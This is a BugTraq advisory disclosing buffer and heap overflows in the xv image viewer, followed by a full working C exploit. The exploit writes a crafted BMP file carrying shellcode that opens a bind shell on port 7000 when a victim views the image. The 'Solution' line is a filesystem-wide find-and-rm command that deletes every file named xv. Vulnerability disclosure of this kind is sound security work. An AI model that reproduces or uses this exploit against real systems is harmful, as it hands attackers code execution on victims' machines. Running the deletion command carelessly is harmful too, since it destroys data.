BugTraq
XV multiple buffer overflows, exploit included Aug 20 2004 07:26AM
infamous41md hotpop com

Program Description:

xv is an interactive image manipulation program for the X Window System. It can
operate on images in the GIF, JPEG, TIFF, PBM, PGM, PPM, XPM, X11 bitmap, Sun
Rasterfile, Targa, RLE, RGB, BMP, PCX, FITS, and PM formats on all known types
of X displays. It can generate PostScript files, and if you have ghostscript
(version 2.6 or above) installed on your machine, it can also display them.

Vulnerable Versions:

probably all of them, but I only looked at the newest, 3.10a.

Summary:

there are at least 5 exploitable buffer and heap overflows in the image handling
code. this allows someone to craft a malicious image, trick a user into viewing
the file in xv, and upon viewing that image execute arbitrary code under
privileges of the user viewing image. note the AT LEAST part of the above
sentence. there is such a plethora of bad code that I just stopped reading
after a while. there are at least 100 calls to sprintf() and strcpy() with no
regards for bounds of buffers. 95% of these deal with program arguments or
filenames, so they are of no interest to exploit. however I just got sick of
reading this code after not too long. so im sure there are still other
overflows in the image handling code for other image types.

Details:

xvbmp.c +168 - a user value is used to iterate a loop and copy data to a stack
buffer.

xviris.c +270 - multiple heap overflows due to integer overflows in memory
allocation with user supplied values.

xvpcx.c +226 - another integer overflow in memory allocation leading to a heap
overflow.

xvpm.c +141 - another integer overflow in memory allocation leading to a heap
overflow.

Exploits:

an exploit for the first overflow is attached. I might write some more exploits
for the rest when i'm bored, but atm there are more interesting things to try
and exploit, ie Qt. if you're really in need of more exploits, email me at my
REAL email address and i'll make some time to try and write them.

Credits, Thanks, and Shouts:

All vulnerabilities were found by myself. thanks to christian I don't know if
he wants me to say his last name for suggesting I audit xv. shouts to peeps at
byterage.

Vendor Status:

this guy doesn't answer emails.

Solution:

find / -iname 'xv' -exec rm -f "{}" ";"

EXPLOIT:

look at the xv code if you don't get what's going on with the buffer below.

/*
* xv exploit for the bmp parsing buffer overflow
*
* infamous42md AT hotpop DOT com
* PEOPLE STOP EMAILING MY BUGTRAQ ADDRESS AND USE THIS ONE!!
*
* [n00b (at) localho (dot) oute [email concealed]rnet] gcc -Wall xv_bmpslap.c
* [n00b (at) localho (dot) oute [email concealed]rnet] ./a.out
* Usage: ./a.out < retaddr > [ align ]
* [n00b (at) localho (dot) oute [email concealed]rnet] ./a.out 0xbffff388
* [n00b (at) localho (dot) oute [email concealed]rnet] netstat -ant | grep 7000
* [n00b (at) localho (dot) oute [email concealed]rnet] ./xv suckit.bmp
* [n00b (at) localho (dot) oute [email concealed]rnet] netstat -ant | grep 7000
* tcp 0 0 0.0.0.0:7000 0.0.0.0:* LISTEN
*
*/
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>

#define ALIGN 0
#define NOP 0x90
#define NNOPS 256
#define die(x) do{perror(x); exit(EXIT_FAILURE);}while(0)
#define BS 0x10000
#define OUTFILE "suckit.bmp"
#define OVERWRITE_BYTES 700

/* a bitmap header structure */
#define BMP_HDR_SZ sizeof(struct bmp)
struct bmp {
u_char type[2];
u_int bfsize,
reserved,
offbits,
bisize, /* 40 */
width,
height;
u_short planes, /* 1 */
bitcount; /* 4 */
u_int compres, /* != 1 */
szimg,
xppm,
ypppm,
clrused, /* write length */
clrimportant;
} __attribute__ ((packed));

/* for easy access */
typedef union _ret {
u_long ret;
u_char retb[sizeof(u_long)];
} ret_t;

/* call them on port 7000, mine */
char remote[] =
"\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
"\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
"\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
"\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
"\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
"\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
"\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\xa1\x5f\x66\x6e\x6
9";

void make_bmp(char *buf, int len)
{
int fd = 0;

/* create the 3vil file */
if( (fd = open(OUTFILE, O_RDWR|O_CREAT, 0666)) < 0)
die("open");

if(write(fd, buf, len) < 0)
die("write");

close(fd);
}

/*
*
*/
int main(int argc, char **argv)
{
int len, x, align = ALIGN;
char buf[BS];
ret_t retaddr;
struct bmp bmp;

if(argc < 2){
fprintf(stderr, "\tUsage: %s < retaddr > [ align ]\n", argv[0]);
return EXIT_FAILURE;
}
if(argc > 2){
align = atoi(argv[2]);
if(align < 0 || align > 3)
die("get bent bitch");
}
sscanf(argv[1], "%lx", &retaddr.ret);

/* setup bitmap */
memset(&bmp, 0, BMP_HDR_SZ);
bmp.type[0] = 'B', bmp.type[1] = 'M';
bmp.bisize = 40;
bmp.bitcount = 4;
bmp.clrused = OVERWRITE_BYTES;
bmp.planes = 1;

/* create 3vil buf */
memset(buf, NOP, BS);
memcpy(buf, &bmp, BMP_HDR_SZ);
len = BMP_HDR_SZ;
len += align;

/* fill in ret address starting at byte offset 0, every other 4 bytes */
for(x = 0; x < OVERWRITE_BYTES; x++)
buf[len + (x*4)] = retaddr.retb[x & 0x3];

/* fill in shell after NOPS, at byte offset 2, every other 4 bytes */
for(x = 0; x < strlen(remote); x++)
buf[len + (NNOPS*4) + (x*4) + 2] = remote[x];

/* extra */
len += OVERWRITE_BYTES * 10;
make_bmp(buf, len);

return 0;
}

--
-sean

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